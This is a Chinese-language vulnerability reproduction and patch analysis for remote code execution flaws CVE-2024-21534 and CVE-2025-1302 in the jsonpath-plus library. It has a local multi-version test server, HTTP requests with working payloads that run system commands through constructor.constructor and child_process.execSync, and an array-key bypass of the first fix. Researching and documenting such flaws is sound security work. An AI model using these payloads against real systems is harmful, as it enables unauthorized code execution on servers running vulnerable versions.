jsonpath-plus远程代码执行漏洞 CVE-2024-21534 ->CVE-2025-1302
jsonpath-plus库被曝出严重的远程代码执行漏洞,从最初的CVE-2024-21534到后续出现的绕过变种CVE-2025-1302,这类安全漏洞展示了JavaScript生态系统中常见的安全盲区。作为JSONPath的JavaScript实现,该库因输入清理不当,导致攻击者可利用不安全的默认模式在系统上执行任意代码。
漏洞简介
jsonpath-plus 是 JSONPath 的 JS 实现,带有一些附加运算符,由于输入清理不当,此软件包受影响的版本容易受到远程代码执行 (RCE) 攻击。攻击者可以利用不安全的默认模式使用方式在系统上执行任意代码 eval='safe'。
CVE-2024-21534 的补丁进行了初步防护,CVE-2025-1302 是对 CVE-2024-21534 的一个绕过操作
环境搭建
创建项目目录
mkdir jsonpath-multi-version-test
cd jsonpath-multi-version-test初始化 Node.js 项目
npm init -y
安装基础依赖
npm install express body-parser安装多个版本的 jsonpath-plus
# 安装存在漏洞 CVE-2024-21534 的版本 (10.0.0)
npm install jsonpath-plus-v100@npm:jsonpath-plus@10.0.0
# 安装存在漏洞 CVE-2025-1302 的版本 (10.2.0)
npm install jsonpath-plus-v102@npm:jsonpath-plus@10.2.0
# 安装已修复的版本 (10.3.0)
npm install jsonpath-plus-v103@npm:jsonpath-plus@10.3.0创建 multi-version-server.js
/**
* 多版本 JSONPath 测试服务器
* 此服务器提供多个端点,每个端点使用不同版本的 jsonpath-plus 库
* 用于比较不同版本对 CVE-2024-21534 和 CVE-2025-1302 漏洞的防护效果
*/
const express = require('express');
const bodyParser = require('body-parser');
const fs = require('fs');
const path = require('path');
// 创建 Express 应用
const app = express();
const port = 3000;
// 配置中间件来解析 JSON 请求体
app.use(bodyParser.json());
// 创建日志目录
const logDir = path.join(__dirname, 'logs');
if (!fs.existsSync(logDir)) {
fs.mkdirSync(logDir);
}
/**
* 记录请求到文件中,以便分析
* @param {string} endpoint - 请求的端点
* @param {Object} req - Express 请求对象
* @param {string} result - 处理结果
* @param {string} version - jsonpath-plus 的版本
*/
function logRequest(endpoint, req, result, version) {
const timestamp = new Date().toISOString();
const logFile = path.join(logDir, `${endpoint}-${timestamp.replace(/:/g, '-')}.log`);
const logData = {
timestamp,
endpoint,
version,
ip: req.ip,
method: req.method,
headers: req.headers,
body: req.body,
result
};
fs.writeFileSync(logFile, JSON.stringify(logData, null, 2));
console.log(`Request to ${endpoint} (jsonpath-plus v${version}) logged to ${logFile}`);
}
// 加载不同版本的 jsonpath-plus
// 注意:这需要事先安装这些版本
let jsonpathPlus100, jsonpathPlus102, jsonpathPlus103;
try {
// 使用 require 加载 10.0.0 版本
jsonpathPlus100 = require('jsonpath-plus-v100');
console.log('成功加载 jsonpath-plus v10.0.0');
} catch (error) {
console.error('无法加载 jsonpath-plus v10.0.0,请确保已安装');
console.error('可以使用以下命令安装: npm install jsonpath-plus-v100@npm:jsonpath-plus@10.0.0');
// 提供后备方案
jsonpathPlus100 = require('jsonpath-plus');
console.log('使用默认 jsonpath-plus 版本作为 v10.0.0 的后备');
}
try {
// 使用 require 加载 10.2.0 版本
jsonpathPlus102 = require('jsonpath-plus-v102');
console.log('成功加载 jsonpath-plus v10.2.0');
} catch (error) {
console.error('无法加载 jsonpath-plus v10.2.0,请确保已安装');
console.error('可以使用以下命令安装: npm install jsonpath-plus-v102@npm:jsonpath-plus@10.2.0');
// 提供后备方案
jsonpathPlus102 = require('jsonpath-plus');
console.log('使用默认 jsonpath-plus 版本作为 v10.2.0 的后备');
}
try {
// 使用 require 加载 10.3.0 版本
jsonpathPlus103 = require('jsonpath-plus-v103');
console.log('成功加载 jsonpath-plus v10.3.0');
} catch (error) {
console.error('无法加载 jsonpath-plus v10.3.0,请确保已安装');
console.error('可以使用以下命令安装: npm install jsonpath-plus-v103@npm:jsonpath-plus@10.3.0');
// 提供后备方案
jsonpathPlus103 = require('jsonpath-plus');
console.log('使用默认 jsonpath-plus 版本作为 v10.3.0 的后备');
}
/**
* /query 端点 - 使用 jsonpath-plus 10.0.0 版本
* 存在 CVE-2024-21534 漏洞
*/
app.post('/query', (req, res) => {
console.log('接收到请求: /query (jsonpath-plus v10.0.0)');
const { message, path } = req.body;
if (!message || !path) {
return res.status(400).json({ error: '需要同时提供 message 和 path 参数。' });
}
console.log(`使用 jsonpath-plus v10.0.0 处理 JSONPath: ${path}`);
try {
// 使用 10.0.0 版本的 jsonpath-plus
const { JSONPath } = jsonpathPlus100;
const result = JSONPath({
path,
json: message
});
console.log('JSONPath 评估成功 (v10.0.0)');
logRequest('query', req, JSON.stringify(result), '10.0.0');
res.json({
version: '10.0.0',
vulnerability: 'CVE-2024-21534',
result
});
} catch (error) {
console.error('处理 JSONPath 时出错 (v10.0.0):', error);
logRequest('query', req, `错误: ${error.message}`, '10.0.0');
res.status(400).json({
version: '10.0.0',
vulnerability: 'CVE-2024-21534',
error: '无效的 JSONPath 表达式或 JSON 数据。',
details: error.message
});
}
});
/**
* /query1 端点 - 使用 jsonpath-plus 10.2.0 版本
* 存在 CVE-2025-1302 漏洞
*/
app.post('/query1', (req, res) => {
console.log('接收到请求: /query1 (jsonpath-plus v10.2.0)');
const { message, path } = req.body;
if (!message || !path) {
return res.status(400).json({ error: '需要同时提供 message 和 path 参数。' });
}
console.log(`使用 jsonpath-plus v10.2.0 处理 JSONPath: ${path}`);
try {
// 使用 10.2.0 版本的 jsonpath-plus
const { JSONPath } = jsonpathPlus102;
const result = JSONPath({
path,
json: message
});
console.log('JSONPath 评估成功 (v10.2.0)');
logRequest('query1', req, JSON.stringify(result), '10.2.0');
res.json({
version: '10.2.0',
vulnerability: 'CVE-2025-1302',
result
});
} catch (error) {
console.error('处理 JSONPath 时出错 (v10.2.0):', error);
logRequest('query1', req, `错误: ${error.message}`, '10.2.0');
res.status(400).json({
version: '10.2.0',
vulnerability: 'CVE-2025-1302',
error: '无效的 JSONPath 表达式或 JSON 数据。',
details: error.message
});
}
});
/**
* /query2 端点 - 使用 jsonpath-plus 10.3.0 版本
* 已修复漏洞
*/
app.post('/query2', (req, res) => {
console.log('接收到请求: /query2 (jsonpath-plus v10.3.0)');
const { message, path } = req.body;
if (!message || !path) {
return res.status(400).json({ error: '需要同时提供 message 和 path 参数。' });
}
console.log(`使用 jsonpath-plus v10.3.0 处理 JSONPath: ${path}`);
try {
// 使用 10.3.0 版本的 jsonpath-plus
const { JSONPath } = jsonpathPlus103;
const result = JSONPath({
path,
json: message
});
console.log('JSONPath 评估成功 (v10.3.0)');
logRequest('query2', req, JSON.stringify(result), '10.3.0');
res.json({
version: '10.3.0',
status: '已修复',
result
});
} catch (error) {
console.error('处理 JSONPath 时出错 (v10.3.0):', error);
logRequest('query2', req, `错误: ${error.message}`, '10.3.0');
res.status(400).json({
version: '10.3.0',
status: '已修复',
error: '无效的 JSONPath 表达式或 JSON 数据。',
details: error.message
});
}
});
/**
* 根路径提供简单的 HTML 页面以便进行手动测试
*/
app.get('/', (req, res) => {
res.send(`
<!DOCTYPE html>
<html>
<head>
<title>JSONPath 漏洞测试</title>
<style>
body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
textarea { width: 100%; height: 150px; margin-bottom: 10px; }
button { padding: 10px; margin-right: 10px; }
.result { margin-top: 20px; border: 1px solid #ccc; padding: 10px; white-space: pre-wrap; }
.version-info { color: #666; margin-bottom: 5px; }
.vulnerability { color: #d9534f; }
.fixed { color: #5cb85c; }
</style>
</head>
<body>
<h1>JSONPath 漏洞测试工具</h1>
<p>这个页面可以用来测试不同版本的 jsonpath-plus 对 CVE-2024-21534 和 CVE-2025-1302 的防护效果。</p>
<h2>JSON 数据</h2>
<textarea id="jsonData">{"users":[{"id":1,"name":"test1"},{"id":2,"name":"test2"}]}</textarea>
<h2>JSONPath 表达式</h2>
<textarea id="jsonPath">$.users[*].name</textarea>
<div>
<button onclick="sendRequest('/query')" class="vulnerability">测试 v10.0.0 (CVE-2024-21534)</button>
<button onclick="sendRequest('/query1')" class="vulnerability">测试 v10.2.0 (CVE-2025-1302)</button>
<button onclick="sendRequest('/query2')" class="fixed">测试 v10.3.0 (已修复)</button>
</div>
<h2>结果</h2>
<div id="result" class="result"></div>
<script>
async function sendRequest(endpoint) {
const resultDiv = document.getElementById('result');
resultDiv.textContent = "处理中...";
try {
const jsonData = JSON.parse(document.getElementById('jsonData').value);
const jsonPath = document.getElementById('jsonPath').value;
const response = await fetch(endpoint, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
message: jsonData,
path: jsonPath
})
});
const result = await response.json();
resultDiv.textContent = JSON.stringify(result, null, 2);
} catch (error) {
resultDiv.textContent = "错误: " + error.message;
}
}
</script>
</body>
</html>
`);
});
/**
* 启动服务器
*/
app.listen(port, () => {
console.log(`服务器已在 http://localhost:${port} 启动`);
console.log(`- /query 端点使用 jsonpath-plus v10.0.0 (CVE-2024-21534)`);
console.log(`- /query1 端点使用 jsonpath-plus v10.2.0 (CVE-2025-1302)`);
console.log(`- /query2 端点使用 jsonpath-plus v10.3.0 (已修复)`);
});启动多版本测试服务器:
node multi-version-server.js服务器将在 http://localhost:3000 上启动,提供三个端点:
- /query - 使用 jsonpath-plus 10.0.0 版本(CVE-2024-21534)
- /query1 - 使用 jsonpath-plus 10.2.0 版本(CVE-2025-1302)
- /query2 - 使用 jsonpath-plus 10.3.0 版本(已修复)
漏洞复现
V 10.0.0
POST /query HTTP/1.1
Host: localhost:3000
Content-Type: application/json
Content-Length: 179
{
"message": {"a": 1},
"path": "$..[?(p=\"console.log(this.process.mainModule.require('child_process').execSync('whoami').toString())\"; constructor.constructor(p)())]"
}构造 payload 在 V10.0.0 触发成功,尝试请求触发 V10.2.0 失败
POST /query HTTP/1.1
Host: localhost:3000
Content-Type: application/json
Content-Length: 199
{
"message": {"a": 1},
"path": "$[?(var _$_root=[].constructor.constructor(\"console.log(this.process.mainModule.require(\\'child_process\\').execSync(\\'whoami\\').toString())\");@root())]"
}V10.2.0
POST /query1 HTTP/1.1
Host: localhost:3000
Content-Type: application/json
Content-Length: 194
{
"message": {"a":1},
"path": "$..[?(p=\"console.log(this.process.mainModule.require('child_process').execSync('whoami').toString())\";a=''[['constructor']][['constructor']](p);a())]"
}构造 payload 在 V10.2.0 触发成功,尝试请求触发 V10.3.0 失败
漏洞分析
原始代码中存在的问题:
- 没有对危险属性(如constructor、__proto__等)的访问进行限制
- 可以直接通过对象的constructor属性获取Function构造函数
- 可以执行任意JavaScript代码,导致远程代码执行漏洞
修复方式:
// 添加危险属性黑名单
const BLOCKED_PROTO_PROPERTIES = new Set([
'constructor',
'__proto__',
'__defineGetter__',
'__defineSetter__'
]);
// 添加属性访问检查
if (!Object.hasOwn(obj, prop) && BLOCKED_PROTO_PROPERTIES.has(prop)) {
throw TypeError(`Cannot read properties of ${obj} (reading '${prop}')`);
}存在的问题:
- 只检查字符串类型的属性名
- 没有考虑JavaScript的类型转换机制
- 安全检查发生在类型转换之前
绕过方式:
// 使用数组来绕过检查
obj[['constructor']] // 而不是 obj['constructor']绕过原理:
- 使用数组时,黑名单检查无法匹配
- JavaScript会自动调用数组的toString()方法
- ['constructor'].toString() 返回 "constructor"字符串
- 最终仍然可以访问constructor属性
第二次修复
https://github.com/JSONPath-Plus/JSONPath/commit/30942896d27cb8a806b965a5ca9ef9f686be24ee
从代码差异可以看到,第二次修复采取了更严格的措施:
// 强制将属性名转换为字符串
const prop = String(
ast.computed ? SafeEval.evalAst(ast.property) // `object[property]`
: ast.property.name // `object.property`
);修复要点:
- 使用String()函数强制转换属性名
- 确保所有属性访问都经过字符串转换
- 添加了对toString方法被重写情况的处理
注释中特别说明:
// NOTE: `String(value)` throws error when
// value has overwritten the toString method to return non-string
// i.e. `value = {toString: () => []}`这次修复通过强制类型转换和异常处理,有效地防止了第一次修复中的类型转换绕过问题。即使攻击者试图使用数组或其他类型来绕过检查,属性名都会被强制转换为字符串,然后进行安全检查。